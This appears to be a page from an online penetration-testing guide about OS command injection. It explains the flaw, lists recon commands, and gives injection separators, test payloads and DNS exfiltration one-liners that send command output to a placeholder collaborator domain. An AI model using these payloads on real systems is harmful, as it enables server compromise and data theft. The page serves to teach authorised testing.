The Pentesting Guide
TwitterBlog
  • The Pentesting Guide
  • ℹ️0 - Pre-Engagement
  • 🔍1 - Information Gathering
  • Passive (OSINT)
  • Active
    • 🕵️HUMINT
    • WIFI
    • IP & Port Scanning
    • Services
      • 21 - FTP
      • 22 - SSH
      • 25 - SMTP
      • 53 - DNS
      • 80,443 - WEB
      • 88 - Kerberos
      • 110 - POP3
      • 111 - rpcbind
      • 161 - SNMP
      • 389 - LDAP
      • 139,445 - SMB
      • Active Directory
  • 💣2 - Exploitation
  • Brute Forcing
  • WEB
    • Apache Tomcat
    • Authentication
    • Broken Access Control
    • Cache poisoning
    • Clickjacking
    • CORS
    • CSRF
    • File Inclusion
    • Host Header Injection
    • HTTP Request Smuggling
    • Information disclosure
    • JWT
    • OS command injection
    • PHP deserialisation
    • SQLi
    • SSRF
    • SSTI
    • Shellshock
    • Unrestricted File Upload
    • XSS
    • XXE
  • Web (OWASP Test cases)
    • 4.1 Information Gathering
    • 4.2 Configuration and Deployment Management Testing
    • 4.3 Identity Management Testing
    • 4.4 Authentication Testing
    • 4.5 Authorization Testing
    • 4.6 Session Management Testing
    • 4.7 Input Validation Testing
    • 4.8 Testing for Error Handling
    • 4.9 Testing for Weak Cryptography
    • 4.10 Business Logic Testing
    • 4.11 Client-side Testing
    • 4.12 API Testing
  • WIFI
  • HUMINT
    • 🎣Gophish (Phishing)
    • Malicious Phishing Files
    • Phishing Evaluation
  • BoF - Windows(x86)
  • Active Directory
    • Kerberos
    • GPOs
    • Certificates
    • LAPS
    • Domain Trusts
  • 👿3 - Post Exploitation
  • File transfer
  • Shells
  • Situational Awareness
    • Containers and VMs
    • Linux
    • Windows
      • Dumping Credentials
      • Countermeasure Evasion
    • Active Directory
      • BloodHound & SharpHound
  • General
    • Linux
    • Windows
  • Local Privilege Escalation
    • Linux
    • Windows
  • Persistance
    • Windows
  • Cracking
  • Pivoting
    • Tunnelling & Port Forwarding
  • Lateral Movement
  • WIFI
  • 📓4 - Report
  • 🧹5 - House cleaning
Powered by GitBook
On this page
  • Introduction
  • Useful commands
  • Ways of injection OS commands
  • References
  1. WEB

OS command injection

Introduction

OS command injection is an attack in which an attacker can execute arbitrary commands on the server-operative system that is running the application, sometimes compromising the application and its data.

This kind of attack is possible due to a lack of proper input/output data validation when an application passes unsafe user input data (forms, cookies, HTTP headers etc.) to a system shell, which is being executed with the privileges of the vulnerable application. Command injection attacks are possible largely due to insufficient input validation.

Useful commands

Purpose of command
Linux
Windows

Name of current user

whoami

whoami

Operating system

uname -a

ver

Network configuration

ifconfig

ipconfig /all

Network connections

netstat -an

netstat -an

Running processes

ps -ef

tasklist

Exfiltrate data

nslookup $(<COMMAND>).<COLLAB_DOMAIN>

for /F "usebackq delims=" %A in ( `<COMMAND>`) do nslookup %A.<COLLAB_DOMAIN>

Ways of injection OS commands

Several characters work as command separators, allowing commands to be chained together. The following command separators work on both Windows and Unix-based systems:

&
&&
|
||

The following command separators work only on Unix-based systems:

;
# Newline
0x0a
\n

On Unix-based systems, you can also use backticks or the dollar character to perform inline execution of an injected command within the original command:

`<COMMAND>`
$(COMMAND)

To use this technique, you can try to send the following payload if the output of the command is returned.

; echo HELLO #

But, if the result of the command is not shown in the response of the request, try the follwoing.

; ping <COLLAB_DOMAIN>

References

Last updated 2 years ago

OS command injection [PortSwigger]
Command Injection [OWASP]